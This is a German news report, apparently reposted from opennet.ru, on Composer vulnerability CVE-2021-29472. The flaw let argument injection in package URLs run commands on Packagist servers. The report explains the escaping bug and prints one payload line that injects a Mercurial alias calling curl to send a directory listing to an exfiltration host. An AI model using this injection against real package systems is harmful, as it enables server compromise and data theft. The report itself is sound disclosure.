Schwachstelle im Paketmanager Composer, die zur Kompromittierung des PHP-Repositorys Packagist fĂŒhren kann

Im AbhĂ€ngigkeitsmanager Composer wurde eine kritische Schwachstelle (CVE-2021-29472) entdeckt, die es ermöglicht, willkĂŒrliche Befehle im System auszufĂŒhren, wenn ein Paket mit einem speziell gestalteten URL-Wert verarbeitet wird, der die Adresse fĂŒr den Download von Quelltexten angibt. Das Problem tritt in den Komponenten GitDriver, SvnDriver und HgDriver auf, die bei der Verwendung von Versionskontrollsystemen wie Git, Subversion und Mercurial zum Einsatz kommen. Die Schwachstelle wurde in den Versionen Composer 1.10.22 und 2.0.13 behoben.

Besonders hervorzuheben ist, dass das Problem hauptsĂ€chlich das standardmĂ€ĂŸig in Composer verwendete Paket-Repository Packagist betroffen hat, das 306.000 Pakete fĂŒr PHP-Entwickler umfasst und monatlich ĂŒber 1,4 Milliarden Downloads bedient. In einem Experiment wurde gezeigt, dass Angreifer, die ĂŒber Informationen zu dem Problem verfĂŒgten, die Kontrolle ĂŒber die Infrastruktur von Packagist erlangen und Zugangsdaten abfangen oder den Download von Paketen auf einen externen Server umleiten konnten, wodurch sie die Lieferung von Paketvarianten mit schĂ€dlichen Änderungen zur EinfĂŒgung eines Backdoors wĂ€hrend der Installation von AbhĂ€ngigkeiten ermöglichten.

Die GefĂ€hrdung fĂŒr Endnutzer ist dadurch begrenzt, dass der Inhalt der composer.json in der Regel vom Benutzer selbst bestimmt wird und die Links zu den Quelltexten bei Anfragen an vertrauenswĂŒrdige externe Repositories ĂŒbergeben werden. Der Hauptangriff zielt auf das Repository Packagist.org und den Service Private Packagist ab, die Composer mit von Benutzern bereitgestellten Daten aufrufen. Angreifer konnten ihren Code auf den Servern von Packagist ausfĂŒhren, indem sie ein speziell gestaltetes Paket platzierten.

Das Team von Packagist hat die Schwachstelle innerhalb von 12 Stunden nach Meldung der Schwachstelle behoben. Die Forscher informierten die Entwickler von Packagist privat am 22. April, und am selben Tag wurde das Problem behoben. Das öffentliche Update von Composer zur Behebung der Schwachstelle wurde am 27. April veröffentlicht, wĂ€hrend die Einzelheiten am 28. April enthĂŒllt wurden. Eine ÜberprĂŒfung der Protokolle auf den Servern von Packagist ergab keine verdĂ€chtigen AktivitĂ€ten, die mit der Schwachstelle in Verbindung standen.

Das Problem wird durch einen Fehler im Code zur ÜberprĂŒfung der GĂŒltigkeit von URLs in der Hauptdatei composer.json und den Links zum Herunterladen von Quelltexten verursacht. Der Fehler ist seit November 2011 im Code vorhanden. Bei Packagist werden spezielle Schichten verwendet, um den Code ohne Bindung an ein bestimmtes Versionskontrollsystem bereitzustellen, die durch den Aufruf von „fromShellCommandline“ mit der Übermittlung von Befehlszeilenargumenten ausgefĂŒhrt werden. Beispielsweise wird fĂŒr git der Befehl „git ls-remote —heads $URL“ aufgerufen, wobei die URL durch die Methode „ProcessExecutor::escape($url)“ verarbeitet wird, die potenziell gefĂ€hrliche Konstruktionen wie „$(
)“ oder „`
`“ maskiert.

Das Wesentliche des Problems ist, dass die Methode ProcessExecutor::escape die Sequenz „—“ nicht maskiert hat, was es ermöglichte, im URL beliebige zusĂ€tzliche Aufrufparameter anzugeben. Eine solche Maskierung fehlte in den Treibern GitDriver.php, SvnDriver.php und HgDriver.php. Ein Angriff ĂŒber GitDriver.php wurde dadurch verhindert, dass der Befehl „git ls-remote“ keine Angabe zusĂ€tzlicher Argumente nach dem Pfad unterstĂŒtzte. Ein Angriff auf HgDriver.php war jedoch möglich, indem der Parameter „—config“ an das Tool „hq“ ĂŒbergeben wurde, das die AusfĂŒhrung eines beliebigen Befehls durch Manipulation mit der Einstellung „alias.identify“ ermöglicht. Zum Beispiel konnte man fĂŒr das Herunterladen und AusfĂŒhren des Codes durch den Start des Tools curl angeben: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Indem sie ein Testpaket mit einer solchen URL bei Packagist platzierten, stellten die Forscher fest, dass nach der Bereitstellung auf ihrem Server eine HTTP-Anfrage von einem der Server Packagist in AWS einging, die eine Auflistung der Dateien im aktuellen Verzeichnis enthielt.

Quelle: opennet.ru

ZuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz kaufen, VPS VDS Server đŸ”„ ZuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz kaufen, VPS VDS Server - ProHoster